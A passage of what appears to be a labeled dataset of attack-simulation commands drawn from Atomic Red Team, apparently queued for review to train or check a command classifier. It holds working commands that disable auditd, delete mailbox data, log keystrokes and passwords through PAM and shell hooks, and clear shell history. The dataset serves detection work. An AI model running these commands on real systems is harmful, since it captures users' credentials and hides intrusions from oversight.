",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c2b0bb1ab21075cf17ab2613,auditctl -D,auditctl -D,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.012/T1562.012.yaml,Delete all auditd rules using auditctl,T1562.012,"[""T1562.012""]",linux,0.9,False,"Using 'auditctl -D' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9ee6c2e92d33c47a4ccf1db8,service auditd restart,service auditd restart,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.012/T1562.012.yaml,Delete all auditd rules using auditctl,T1562.012,"[""T1562.012""]",linux,0.55,True,"Using 'auditctl -D' deletes all existing audit rules, resulting in the loss of previously configured monitoring settings and the audit trail. This action reduces visibility into system activities, potentially leading to compliance concerns and hampering security monitoring efforts. Additionally, it poses a risk of covering unauthorized activities by erasing evidence from audit logs.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c62d13fee671f265462196de,auditctl -e 0,auditctl -e 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.012/T1562.012.yaml,Disable auditd using auditctl,T1562.012,"[""T1562.012""]",linux,0.9,False,"The command `auditctl -e 0` disables the audit system. By setting the parameter to `0`, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact se",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2fc6501f3fac6fa76a117d6,auditctl -e 1,auditctl -e 1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.012/T1562.012.yaml,Disable auditd using auditctl,T1562.012,"[""T1562.012""]",linux,0.55,True,"The command `auditctl -e 0` disables the audit system. By setting the parameter to `0`, auditing is deactivated, halting the monitoring and recording of security-related events. This action stops the generation of audit logs, ceasing the collection of data regarding system activities. Disabling auditing may be done for various reasons, such as troubleshooting, performance optimization, or temporarily suspending auditing requirements, but it reduces visibility into system events and can impact se",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62888c6d61425b4a0c74c879,"New-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data"" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore } Remove-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore","New-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data"" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore } Remove-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Delete Mailbox Data on Windows,T1070.008,"[""T1070.008""]",windows,0.9,False,"Copies and deletes mail data on Windows
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ef0bbbcfa0b1c766ee6cbb0,"Remove-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore","Remove-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Delete Mailbox Data on Windows,T1070.008,"[""T1070.008""]",windows,0.55,True,"Copies and deletes mail data on Windows
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb5b2c3777b8cbccec133360,"mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ ""$(basename ""$file"")"" != ""copy"" ]; then cp -R ""$file"" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*","mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ ""$(basename ""$file"")"" != ""copy"" ]; then cp -R ""$file"" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Delete Mailbox Data on Linux,T1070.008,"[""T1070.008""]",linux,0.9,False,"Copies and deletes mail data on Linux
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dea29b6b5adceb05bf6f5232,"rm -rf /var/spool/mail/copy if [ -f ""$(ls -A /var/spool/mail/temp)"" ]; then rm /var/spool/mail/temp; fi","rm -rf /var/spool/mail/copy if [ -f ""$(ls -A /var/spool/mail/temp)"" ]; then rm /var/spool/mail/temp; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Delete Mailbox Data on Linux,T1070.008,"[""T1070.008""]",linux,0.55,True,"Copies and deletes mail data on Linux
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33ab380918b79fbe54c26dcc,mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy rm -rf ~/Library/Mail/copy/*,mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy rm -rf ~/Library/Mail/copy/*,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Delete Mailbox Data on macOS,T1070.008,"[""T1070.008""]",macos,0.9,False,"Copies and deletes mail data on macOS
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f219c8cd54847a7f57a7145,rm -rf ~/Library/Mail/copy,rm -rf ~/Library/Mail/copy,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Delete Mailbox Data on macOS,T1070.008,"[""T1070.008""]",macos,0.55,True,"Copies and deletes mail data on macOS
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d249a8bbc56788f71b88dbe7,"New-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data"" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore } Get-ChildItem -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -File | ForEach-Object { Add-Content -Path $_.FullName -Value ""Modification for Atomic Red Test"" -ErrorAction Ignore }","New-Item -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -ItemType Directory -ErrorAction Ignore Get-ChildItem -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data"" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -Recurse -Force -ErrorAction Ignore } Get-ChildItem -Path ""C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"" -File | ForEach-Object { Add-Content -Path $_.FullName -Value ""Modification for Atomic Red Test"" -ErrorAction Ignore }",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Modify Mailbox Data on Windows,T1070.008,"[""T1070.008""]",windows,0.9,False,"Copies and modifies mail data on Windows
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
acc1d8d41a71555e352ddf1f,"mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ ""$(basename ""$file"")"" != ""copy"" ]; then cp -R ""$file"" /var/spool/mail/copy/; if [ -f ""/var/spool/mail/copy/$(basename ""$file"")"" ]; then echo ""Modification for Atomic Red Test"" >> ""/var/spool/mail/copy/$(basename ""$file"")""; fi; fi; done","mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ ""$(basename ""$file"")"" != ""copy"" ]; then cp -R ""$file"" /var/spool/mail/copy/; if [ -f ""/var/spool/mail/copy/$(basename ""$file"")"" ]; then echo ""Modification for Atomic Red Test"" >> ""/var/spool/mail/copy/$(basename ""$file"")""; fi; fi; done",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Modify Mailbox Data on Linux,T1070.008,"[""T1070.008""]",linux,0.9,False,"Copies and modifies mail data on Linux
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d05ace1242b4922edd1d93c5,"mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy echo ""Manipulated data"" > ~/Library/Mail/copy/manipulated.txt","mkdir ~/Library/Mail/copy cp -R ~/Library/Mail/* ~/Library/Mail/copy echo ""Manipulated data"" > ~/Library/Mail/copy/manipulated.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.008/T1070.008.yaml,Copy and Modify Mailbox Data on macOS,T1070.008,"[""T1070.008""]",macos,0.9,False,"Copies and modifies mail data on macOS
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c194486c4b9488864f8bab25,"&""$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1"" -LogPath #{filepath}","&""$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1"" -LogPath #{filepath}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Input Capture,T1056.001,"[""T1056.001""]",windows,0.9,False,"Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a973641be32c9351a905c20,Remove-Item $env:TEMP\key.log -ErrorAction Ignore,Remove-Item $env:TEMP\key.log -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Input Capture,T1056.001,"[""T1056.001""]",windows,0.55,True,"Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9dcd2b89e70840932aa70411,"if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo ""session required pam_tty_audit.so enable=* log_password"" >> /etc/pam.d/password-auth sudo echo ""session required pam_tty_audit.so enable=* log_password"" >> /etc/pam.d/system-auth","if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo ""session required pam_tty_audit.so enable=* log_password"" >> /etc/pam.d/password-auth sudo echo ""session required pam_tty_audit.so enable=* log_password"" >> /etc/pam.d/system-auth",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Living off the land Terminal Input Capture on Linux with pam.d,T1056.001,"[""T1056.001""]",linux,0.9,False,"Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root i",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5c2af491365f552c11c0a186,sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth,sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Living off the land Terminal Input Capture on Linux with pam.d,T1056.001,"[""T1056.001""]",linux,0.55,True,"Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log.  All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example.  If root logging is enabled, then output from any process which is later started by root i",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
efc3bb7a66c16d5346dbfb25,"PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t ""$USER[$$] $SSH_CONNECTION "")' echo ""\$PROMPT_COMMAND=$PROMPT_COMMAND"" tail /var/log/syslog","PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t ""$USER[$$] $SSH_CONNECTION "")' echo ""\$PROMPT_COMMAND=$PROMPT_COMMAND"" tail /var/log/syslog",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Logging bash history to syslog,T1056.001,"[""T1056.001""]",linux,0.9,False,"There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable ""if set"" will be executed before the PS1 variable and can be configured to write the latest ""bash history"" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bas",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44979164091bd0a7f5b35a05,unset PROMPT_COMMAND,unset PROMPT_COMMAND,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Logging bash history to syslog,T1056.001,"[""T1056.001""]",linux,0.55,True,"There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable ""if set"" will be executed before the PS1 variable and can be configured to write the latest ""bash history"" entries to the syslog.

To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bas",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c1bd4440c36d339994fd980,"PS2=`logger -t ""$USER"" -f ~/.sh_history` $PS2 tail /var/log/messages","PS2=`logger -t ""$USER"" -f ~/.sh_history` $PS2 tail /var/log/messages",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Logging sh history to syslog/messages,T1056.001,"[""T1056.001""]",linux,0.9,False,"There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable ""if set"" will be executed before the PS1 variable and can be configured to write the latest ""bash history"" entries to the syslog.

To gain persistence the command could be added to the users .shrc or .profile 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e4bd105b34fd1a04647642f6,unset PS2,unset PS2,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Logging sh history to syslog/messages,T1056.001,"[""T1056.001""]",linux,0.55,True,"There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable ""if set"" will be executed before the PS1 variable and can be configured to write the latest ""bash history"" entries to the syslog.

To gain persistence the command could be added to the users .shrc or .profile 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
17a18cd4acab7b6f137900b4,"trap 'echo ""$(date +""%d/%m/%y %H:%M:%S.%s"") $USER $BASH_COMMAND"" >> #{output_file}' DEBUG echo ""Hello World!"" cat #{output_file}","trap 'echo ""$(date +""%d/%m/%y %H:%M:%S.%s"") $USER $BASH_COMMAND"" >> #{output_file}' DEBUG echo ""Hello World!"" cat #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Bash session based keylogger,T1056.001,"[""T1056.001""]",linux,0.9,False,"When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = ""echo $BASH_COMMAND"". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. 

To gain persistence the command could be added to the users .b",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2dd527057d031b926d694204,rm #{output_file},rm #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Bash session based keylogger,T1056.001,"[""T1056.001""]",linux,0.55,True,"When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = ""echo $BASH_COMMAND"". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. 

To gain persistence the command could be added to the users .b",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
decc085b3728594ea1290244,"cp -v /etc/pam.d/sshd /tmp/ echo ""session required pam_tty_audit.so disable=* enable=* open_only log_passwd"" >> /etc/pam.d/sshd systemctl restart sshd systemctl restart auditd ssh #{user_account}@localhost whoami sudo su whoami exit exit","cp -v /etc/pam.d/sshd /tmp/ echo ""session required pam_tty_audit.so disable=* enable=* open_only log_passwd"" >> /etc/pam.d/sshd systemctl restart sshd systemctl restart auditd ssh #{user_account}@localhost whoami sudo su whoami exit exit",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,SSHD PAM keylogger,T1056.001,"[""T1056.001""]",linux,0.9,False,"Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ecda65485da9ccfa34c0c47,cp -fv /tmp/sshd /etc/pam.d/,cp -fv /tmp/sshd /etc/pam.d/,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,SSHD PAM keylogger,T1056.001,"[""T1056.001""]",linux,0.55,True,"Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b256098448c5a894d5436905,"auditctl -a always,exit -F arch=b64 -S execve -k CMDS auditctl -a always,exit -F arch=b32 -S execve -k CMDS whoami; ausearch -i --start now","auditctl -a always,exit -F arch=b64 -S execve -k CMDS auditctl -a always,exit -F arch=b32 -S execve -k CMDS whoami; ausearch -i --start now",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Auditd keylogger,T1056.001,"[""T1056.001""]",linux,0.9,False,"The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3db606693574f74700f05d7a,systemctl restart auditd,systemctl restart auditd,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,Auditd keylogger,T1056.001,"[""T1056.001""]",linux,0.55,True,"The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c50b767c271fc77ca54283d8,swift #{swift_src} -keylog,swift #{swift_src} -keylog,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,MacOS Swift Keylogger,T1056.001,"[""T1056.001""]",macos,0.9,False,"Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
85008e7b99b0220c7f2fc06a,kill `pgrep swift-frontend`,kill `pgrep swift-frontend`,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.001/T1056.001.yaml,MacOS Swift Keylogger,T1056.001,"[""T1056.001""]",macos,0.55,True,"Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ac0c12bd19ea55f6742aaae4,export HISTCONTROL=ignoreboth #{evil_command},export HISTCONTROL=ignoreboth #{evil_command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Disable history collection,T1562.003,"[""T1562.003""]","linux,macos",0.9,False,"Disables history collection in shells
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
635e12f4b0400507e743e9e1,export HISTSIZE=0 #{evil_command},export HISTSIZE=0 #{evil_command},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Disable history collection (freebsd),T1562.003,"[""T1562.003""]",linux,0.9,False,"Disables history collection in shells
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9cb39e241c2d3db74dd11851,"cp $HISTFILE $HISTFILE.OLD if ((${#HISTFILE[@]})); then echo $HISTFILE; fi echo """" > $HISTFILE if [ $(wc -c <$HISTFILE) -gt 1 ]; then echo ""$HISTFILE is larger than 1k""; fi ls -la $HISTFILE cat $HISTFILE history -c if [ $(history |wc -l) -eq 1 ]; then echo ""History cache cleared""; fi","cp $HISTFILE $HISTFILE.OLD if ((${#HISTFILE[@]})); then echo $HISTFILE; fi echo """" > $HISTFILE if [ $(wc -c <$HISTFILE) -gt 1 ]; then echo ""$HISTFILE is larger than 1k""; fi ls -la $HISTFILE cat $HISTFILE history -c if [ $(history |wc -l) -eq 1 ]; then echo ""History cache cleared""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Clear bash history,T1562.003,"[""T1562.003""]",linux,0.9,False,"An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. 

In this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo """" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
53e56cd53e6be41ad5b20e3f,mv -f $HISTFILE.OLD $HISTFILE,mv -f $HISTFILE.OLD $HISTFILE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Clear bash history,T1562.003,"[""T1562.003""]",linux,0.55,True,"An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. 

In this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo """" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0e7296b7bda84dd5da78109c,"TEST=$(echo $HISTCONTROL) if [ ""$HISTCONTROL"" != ""ignoreboth"" ]; then export HISTCONTROL=""ignoreboth""; fi history -c ls -la $HISTFILE # "" ls -la $HISTFILE"" if [ $(history |wc -l) -eq 1 ]; then echo ""ls -la is not in history cache""; fi if [ ""$HISTCONTROL"" != ""erasedups"" ]; then export HISTCONTROL=""erasedups""; fi history -c ls -la $HISTFILE ls -la $HISTFILE ls -la $HISTFILE if [ $(history |wc -l) -eq 2 ]; then echo ""Their is only one entry for ls -la $HISTFILE""; fi","TEST=$(echo $HISTCONTROL) if [ ""$HISTCONTROL"" != ""ignoreboth"" ]; then export HISTCONTROL=""ignoreboth""; fi history -c ls -la $HISTFILE # "" ls -la $HISTFILE"" if [ $(history |wc -l) -eq 1 ]; then echo ""ls -la is not in history cache""; fi if [ ""$HISTCONTROL"" != ""erasedups"" ]; then export HISTCONTROL=""erasedups""; fi history -c ls -la $HISTFILE ls -la $HISTFILE ls -la $HISTFILE if [ $(history |wc -l) -eq 2 ]; then echo ""Their is only one entry for ls -la $HISTFILE""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTCONTROL environment variable,T1562.003,"[""T1562.003""]",linux,0.9,False,"An attacker may exploit the space before a command (e.g. "" ls"") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. 

In this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HIS",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b098056c94ffca06b0cdbe9,export HISTCONTROL=$(echo $TEST),export HISTCONTROL=$(echo $TEST),bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTCONTROL environment variable,T1562.003,"[""T1562.003""]",linux,0.55,True,"An attacker may exploit the space before a command (e.g. "" ls"") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. 

In this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HIS",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d2ee218f273a4c59c06de86e,"TEST=$(echo $HISTFILESIZE) echo $HISTFILESIZE export HISTFILESIZE=0 echo ""runnning some commands to populate the history"" whoami groups if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo ""\$HISTFILESIZE is zero""; else HIST_LENGHT=$(wc -l $HISTFILE); echo ""\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT""; fi","TEST=$(echo $HISTFILESIZE) echo $HISTFILESIZE export HISTFILESIZE=0 echo ""runnning some commands to populate the history"" whoami groups if [ $(echo $HISTFILESIZE) -eq 0 ]; then echo ""\$HISTFILESIZE is zero""; else HIST_LENGHT=$(wc -l $HISTFILE); echo ""\$HISTFILESIZE is not zero, history lenght is $HIST_LENGHT""; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1562.003/T1562.003.yaml,Setting the HISTFILESIZE environment variable,T1562.003,"[""T1562.003""]",linux,0.9,False,"An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log out of the system.

Note: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero.
